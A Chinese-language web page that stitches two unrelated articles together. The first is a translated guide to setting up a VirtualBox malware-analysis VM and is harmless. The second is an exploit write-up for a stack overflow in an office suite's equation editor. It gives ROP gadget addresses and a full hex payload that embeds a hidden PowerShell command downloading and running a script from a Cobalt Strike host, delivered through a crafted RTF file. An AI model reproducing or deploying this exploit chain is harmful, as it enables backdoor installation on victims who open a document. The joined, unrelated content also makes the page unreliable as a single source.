原文地址：Creating a Simple Free Malware Analysis Environment
譯者：hello1900@知道創宇404實驗室
計算機要求：
CPU支持AMD-V 或Intel VT-x（任何調試解調器CPU均適用）;
4GB RAM（容量越大越好）。
確保啟用BIOS虛擬化（AMD-V或Intel VT-x）。需要谷歌搜索“enable virtualization”以及BIOS或主板版本號并遵照以下步驟。
選擇系統管理程序
系統管理程序是一款軟件，用于創建與真實設備相分離的虛擬計算機（有時稱作虛擬機，縮寫VM）。接下來，我們就將使用系統管理程序創建一個單獨的Windows安裝程序，可以在不對自身設備或數據造成危害的情況下感染惡意軟件。
我個人經常使用大約5種不同的系統管理程序，每個程序之間存在細小差別，適合不同任務需求。下面我將介紹具體用途與原因。
VMware Workstation Pro - 性能極高，可能最適合在Windows 操作系統上運行，此外還具備適用于復雜虛擬網絡的一整套額外功能。
VMware Workstation Player - Pro版本的輕量級精簡版本，非常適合簡單便捷的VM設置，但不支持快照功能，這也是惡意軟件分析過程中存在的主要問題。我在筆記本電腦上安裝了該版本，用于改進演示。
KVM - 在Linux操作系統上運行，插件通過去重獲取更多內存。KVM在規避惡意軟件檢測方面具有非常好的性能，因為多數惡意軟件依賴于VirtualBox或VMWare的具體功能，不太關注其他系統管理程序的檢測。
ESXi - 不用于操作系統安裝，通過在系統管理程序周邊搭建操作系統減少開銷。
VirtualBox - 允許欺騙VM底層硬件，通過探測虛擬/物理硬件或固件版本避免惡意軟件發現自身位于VM中。免費、設置簡單并具備付費系統管理程序的多數功能。
對于初學者而言，推薦使用VirtualBox，因為它免費、支持多數大型操作系統，快照功能允許將VM 恢復到具體某個存儲狀態。出此考慮，本文內容也將圍繞VirtualBox展開。
選擇Guest OS
在VM內部運行的操作系統十分重要，具體取決于以下幾方面。對此，我將逐一詳細介紹。
必備技能
如果你打算對惡意軟件實施逆向工程，但只是大致了解或正在學習x86匯編語言，那么運行x86 Windows安裝程序比較適合。多數惡意軟件在WoW64（Windows在64位系統上運行32位二進制文件所采用的方式）下運行，所以你可能會在不考慮所采用架構的情況下針對32位代碼逆向工程。在某些情況下，惡意軟件將根據具體架構放置32位或64位有效payload，因此，不熟悉64位匯編語言就需要使用32位payload，也就是說使用32位（x86）操作系統。
硬件要求
x86_64 CPU能夠運行32位/64位VM，但x86 CPU只能運行32位VM。如果你的CPU是x86，那么應選擇32位操作系統。老式CPU（特別是x86 CPU）可能不支持較新版本的Windows 安裝程序具備的功能，所以最好保持在Windows 8以下版本。
如果你的計算機沒有足夠內存，那么運行Windows XP VM效果更好，因為256M內存即已滿足要求（確保使用Service Pack 3，因為它添加了多數惡意軟件賴以生存的OS功能。）Windows 7 VM 通常要求1 GB 內存，但實際上可能768MB （Home Edition 512M）即已滿足要求。
經驗之談
多數惡意軟件在XP Service Pack 3與Windows 10之間的各種Windows系統上運行。所以說如果你更熟悉XP就放心大膽使用吧。Windows 10資源非常集中，可能不支持所有惡意軟件，不適合日常惡意軟件分析，除非在極端情況下。此外，Windows 10 后臺聯網服務也異常嘈雜，數據包捕獲充斥了大量無用、不相關數據。
惡意軟件
64位操作系統利用DSE（驅動程序強制簽名）阻攔未簽名的核心驅動加載。如需分析安裝核心驅動的惡意軟件，那么32位操作系統將是你的首選，不會產生惡意軟件安裝未簽名驅動的問題。
工具配置
說到這里，還要感謝我的雇主，在地下室放置了一臺強大的機架式服務器，足以安裝從OS、XP到Windows 10（32位/64位）的各類操作系統。在此之前，我個人偏好使用支持常用惡意軟件的Windows 7 Ultimate Edition （32位）操作系統，主要看中了遠程桌面功能。如果你覺得VNC用起來更順手，那么Home Edition也是不錯的選擇。
此外，還應記住VM用于惡意軟件運行與分析，當試圖通過惡意軟件感染系統時，棄用存在安全隱患的較老版本操作系統只會適得其反。
設置虛擬機
RAM
建議根據所用操作系統要求選取最小量。
CPU
“處理器”選項定義能夠使用多少CPU內核。正常情況下，一個就夠用，但如果你的CPU具有多個內核，可考慮放寬限制，為VM提速。
執行上限應保持在100%，除非將處理器設置為與CPU具有相同內核數并考慮降低限制，避免VM死機。
網絡
確保勾選NAT選項，可使VM聯網但看不到真實網絡上的設備或與其他VM通信，后者從安全角度看是件好事。
其他選項可保持原樣。雖然對于簡單惡意軟件分析環境不作要求，但可以通過hifireF0x加載程序強化VirtualBox，防止惡意軟件檢測到所處的VM環境。
安裝Windows
如果已具備有效的產品秘鑰（一旦在VM中安裝，不得使用產品秘鑰激活Windows，否則惡意軟件可能竊取秘鑰；正確做法是使Windows保持未激活狀態），Windows7、8、10 鏡像文件可由此獲得。Windows XP似乎無法從微軟網站獲得，但我相信只要安裝程序沒被破解或修復，下載Windows鏡像文件種子就是合法的。簡而言之，VM僅運行惡意軟件時不要激活Windows，因為激活帶來的好處不具有任何實際意義。
無需將安裝程序鏡像文件安裝至CD光盤，僅需導航至選項中的“存儲”類別、點擊旁邊顯示Empty的CD圖標與右上角第二個CD圖標，并選擇安裝鏡像文件。
啟動VM后，Windows系統將自動從鏡像文件啟動。按常規步驟瀏覽Windows安裝流程，略過激活環節，考慮改變計算機名稱與用戶名，使VM看起來不像是供研究使用的機器。避免安裝“Guest Additions”，因為惡意軟件使用的工具包通常被用來檢測是否在虛擬機內運行。
環境設置
Windows 安裝完畢后點擊“Machine”> “Take Snapshot” ，創建現有VM狀態圖像，接下來可以回到原來界面或從相同圖像創建新的VM；“roll back”至某張快照類似于用快照期間保存的數據重寫硬盤與內存、撤銷任何變更，當然包括獲取快照后發生的惡意軟件感染事件。
現在輪到選擇并安裝分析工具了，如果不確定該安裝哪些工具，可參考以下列表：
反匯編工具 / 調試程序
OllyDbg
WinDbg（作為Windows SDK一部分安裝）
x64Dbg
IDA（Freeware Edition）
Radare2
PE 工具
PE Explorer
Explorer Suite
PEStudio
進程工具
Process Hacker
ProMon
Process Explorer
Process Dump
User Mode Process Dumper
網絡工具
Wireshark
Fiddler
mitmproxy
其他
HxD（Hex Editor）
PaFish（VM檢測測試）
oledump（從Office 文檔提取宏）
olevba（VBA宏提取器）
字符串（從文件提取ASCII與Unicode文本）
安裝所選工具后再生成一張快照就大功告成了（如需安裝新工具可直接返回至快照界面，安裝新工具后生成新快照、刪除舊快照）。
注意事項
尚無惡意軟件使用零日漏洞逃逸虛擬機的案例記載，如果保持VM清潔就應該不存在安全問題。切勿將USB設備插入VM，假定VM中的所有文件均被感染。切勿傳輸可在VM外部感染的文件，也不得登錄受感染VM中的任何服務器。
在使用“Shared Folders”等功能在計算機與VM之間分享文件夾時要格外小心。這些文件夾中的所有文件都可被VM中的惡意軟件輕松竊取、感染或破壞。
不要在聯網VM上運行不熟悉的惡意軟件樣本。惡意軟件可通過你的IP地址發動DDoS攻擊、入侵計算機、開展金融詐騙活動。最好不通過執法途徑開啟常規訪問路徑。
如果在VM中運行VPN，則該VPN可被禁用或由惡意軟件繞過，暴露你的真實IP地址。通常情況下，犯罪分子不會針對研究人員，但如果你想隱藏IP地址，那么不妨在你的計算機而非VM中運行VPN。
避免在危險區域存儲可執行惡意軟件樣本。建議將這些可能接觸到你計算機的文件重命名為不可執行文件（例如.bin或.malware）或存儲在不可執行目錄下的webserver上。
在VM中存放的任何文件都可能被其間運行的惡意軟件竊取，這是基本常識。
在分析過程中用快照保存進程。如果VM在記錄期間發生崩潰或被勒索軟件加密，未及時備份的數據將面臨丟失的風險。
殺毒軟件仍將掃描并刪除匹配惡意簽名的不可執行惡意軟件樣本甚至記事本，建議將重要文件夾設置為白名單
作者：維陣漏洞研究員—hk
各公司的網絡安全防護體系的壁壘日益增高，攻擊人員從防護體系的正面撕開入侵的路徑的機會越發渺茫。使用多個0day組合攻擊相對成本較高，社工這種低成本收益高的攻擊方式會被更加重視，特別是所有人都會用到的辦公軟件必然會被攻擊者重點關注。筆者對國內某款辦公處理軟件進行研究，利用該漏洞進行后門的植入和利用，進行技術演示。
1、影響版本
某辦公處理軟件 2019版 11.1.0.10132
2、漏洞類型
棧溢出攻擊
3、發現方式
fuzz
4、本次測試環境
由于沒有在網絡上找到對應的版本，所以找到了相近版本11.1.0.10397。
使用win10的系統，系統版本號為18363.592。
?系統環境配置完畢后，一定要做快照！！！在測試過程中發現有時漏洞不會觸發，而且windbg等調試器容易出現閃退的現象，原因未知，所以一定要做快照！！！
在fuzz過程中產生了崩潰，使用windbg的!analyze插件分析崩潰轉儲文件。分析結果如下圖所示：
在ida中找到對應的地址，然后向上追溯那些指令修改了eax。可以看到在004362b6處有call指令，說明call指令調用的函數返回的結果存在問題。
查看偽代碼，對應的函數為sub_43622d中的v8[8]函數。
結合偽代碼和call指令的格式，大概推斷程序使用了虛函數表。
在注冊表中向公式編輯器添加字符串類型的Debugger值，確保公式編輯器被啟動時可以觸發windbg并可以調試公式編輯器。
在004362b6處下斷點。
//每次命中斷點時顯示eax的值然后繼續執行
bp 004362B6 ".printf \"hits=%d\n\",$t0;r @$t0=@$t0+1;r @eax;gc"
?在使用windbg下斷點時如果使用文件名+偏移量的方式，則一定要先使用lm命令來查看文件加載后的真實名字。例如a文件直接看到的名字是a.exe，但是在加載后可能為a32.exe。下斷點時則需要使用a32+偏移量來下斷點。
斷點記錄如下：
hits=0 eax=00451938
hits=1 eax=00451970
。。。（hits1-hits56的eax值均為00451970）
hits=56 eax=00451970
hits=57 eax=00450f58
Breakpoint 1 hit
eax=00450530 ebx=00772658 ecx=004505bc edx=00000000 esi=0000ffff edi=0019f14c
eip=74fbdab0 esp=0019eee0 ebp=0019efec iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
KERNEL32!WinExec:
74fbdab0 8bff mov edi,edi
可以看到eax的值一共有00451938、00451970、00450f58這三種情況。這三個值加上20h對應的在ida中對應的情況如下：
00451938：
00451970：
00450f58：
在eqnedt32+0x362b6處下條件斷點，查看eax為00451970和00450f58時調用的函數。
bu eqnedt32+0x362b6 ".if @eax=0x00450f58 {} .else {gh}"
在eax=00451970時調用了0043ebdf處的函數。
在eax=00450f58時調用了0043ebdf處函數。
在ida中查看0043ebdf處，發現ida并沒有解析出該函數，需要用ida創建函數。
?編譯器的優化可能導致ida無法解析出函數，導致無法在函數列表中檢索到對應的函數。
創建函數后查看偽代碼。
對43ebdf中涉及的3函數分析。
sub_436c85函數只是進行值的選擇：
sub_415c54中進行指針的調整：
sub_43ECFA中涉及了result，同時把讀取的byte值放入棧中。
sub_43ecfa涉及的參數在棧中的分布如下圖所示。當時v4足夠大時，sub_43ecfa中的while循環會不停的向棧中寫入數據，直到把ebp和返回地址覆蓋掉。
當eax=00450f58和00451970，即case=2，case=5時會調用sub_43EBDF。
根據MathType 6.9 SDK：
在解析char record和matrlx record記錄時會發現棧溢出漏洞。
在x64dbg下使用checksec查看查看eqnedit采用的保護技術。結果如下圖所示，只啟用了dep措施。所以嘗試使用rop的方式來執行命令。
先梳理出利用winexec的rop邏輯鏈條，如下所示：
?剛開始組織payload的時候，沒有考慮到payload的通用性。經過果哥提醒后注意到，后續組織payload時要考慮通用性。
payload=buffer+ebp+&Gadgets1+&winexe()+&Gadgets2+&lpCmdLine+uCmdShow+&exit()
Gadgets1=pop;ret;
Gadgets2=pop;pop;ret;
下面開始尋找payload中各部分的地址。
1、buffer的長度
進入sub_43ebdf后ebp=0x19efd0，v[7]=ebp-ch，所以需要32byte的buffer內容來覆蓋ebp。
2、&winexec()
遍歷程序加載模塊中的winexec()后發現，只有eqnedit和kernel32.dll中有winexec。為了通用性使用eqnedit中的winexec。
查詢交叉引用后eqnedit中只有sub_42D8C0調用了winexec，所以使用eqnedit!sub_42D8C0替代kernel32!winexec。
3、&exit()
遍歷程序加載模塊中的exit()后發現，只有msvcrt.dll，kernelbase.dll，comctl32.dll和eqnedit.exe中有合適的exit()函數。
msvcrt.dll
地址=772D6210
類型=導出
序號=291
符號=_c_exit
msvcrt.dll
地址=772D6230
類型=導出
序號=295
符號=cexit
kernelbase.dll
地址=7656C2C0
類型=導出
序號=1864
符號=cexit
comctl32.dll
地址=65DD8805
類型=符號
符號=__cexit
4、&lpCmdLine相關
4.1、第一步確定cmdline要放rtf文件中的哪里
可以放在rop鏈的最后。rtf文件打開時，程序會把對應的內容加載到堆中。
?注意：從偽代碼里看到，程序使用了GlobalLock來獲取指針。所以不能用malloc的思路去理解globalalloc的堆分配思路。
?通用句柄HANDLE有時候是邏輯指針，大多數時候是結構體指針，特殊句柄如HMENU等是結構體指針。
4.2、第二步確定cmdline在內存中的什么位置
cmdline被放在堆中，因為程序使用了globalalloc來申請堆，這種堆只能用globallock函數來讀取，所以只能從程序中找globallock函數來獲取cmdline的指針。同時要注意globallock函數只是把句柄轉換為了指針，不能實現類似memcpy的功能。
導?表?沒有memcpy函數，所以只能使?實現內存拷?的函數，例如sub_43ECFA。
5、尋找Gadgets
使用immunity debugger的mona腳本尋找合適的Gadgets。
//使用下面的命令搜索pop pop ret 格式指令
!mona seh -m KERNEL32.dll -cpb ‘\x00\x0a\x0d’
//使用下面的命令搜索可用的 pop ret 格式指令
!mona rop -m *.dll -cpb ‘\x00\x0a\x0d’選取相應的值給Gadgets1和Gadgets2賦值。為了payload的通用性，結果如下：
Gadgets1="\x92\xb7\x44\x00"
Gadgets2="\xd6\x74\x44\x00"
在cc上部署cs端，在80端口上開啟反向http。
使用scripted web delivery(s)的方式發布在線ps1文件。
則上述payload中的cmdline替換為下面的命令：
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.44.128:80/a'))"
16進制編碼后成為：
706f7765727368656c6c2e657865202d6e6f70202d772068696464656e202d6320224945582028286e65772d6f626a656374206e65742e776562636c69656e74292e646f776e6c6f6164737472696e672827687474703a2f2f3139322e3136382e34342e3132383a38302f6127292922
經過多次測試，最終payload為：
payload=buffer +Gadgets0 + &sub_43ecfa + Gadgets2 + 00000231（sub_43ecfa_arg1）+ cmdline +&winexec + &exit +cmdline + “00” +cmdline
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB93B74400F5614300FAEC430092B744003102000030054500C0D8420
030622D773005450000706f7765727368656c6c2e657865202d6e6f70202d772068696464656e202d6320224945582028286e
65772d6f626a656374206e65742e776562636c69656e74292e646f776e6c6f6164737472696e672827687474703a2f2f3139322
e3136382e34342e3132383a38302f6127292922測試的時候發現缺少gadgets0會破壞數據結構，所以只能保留。
由于在網上沒有找到rtf文件結構的詳細說明，而且char record和matrlx record的結構也沒找到。而且構造空白的公式和特殊的公式進行二進制對比時，無法精確比較出矩陣公式的位置，所以只能從exp上分析，經過多次調試分析發現，從rtf文件的28551D（6F87h）處開始存放的數據會讀入v[7]，也就是sub_43ebdf第二次調用sub_43ecfa地方。
從下面兩張圖可以看出v[7]包括ebp已經被’b’覆蓋。
所以把payload放在rtf文件偏移量為28551D后面。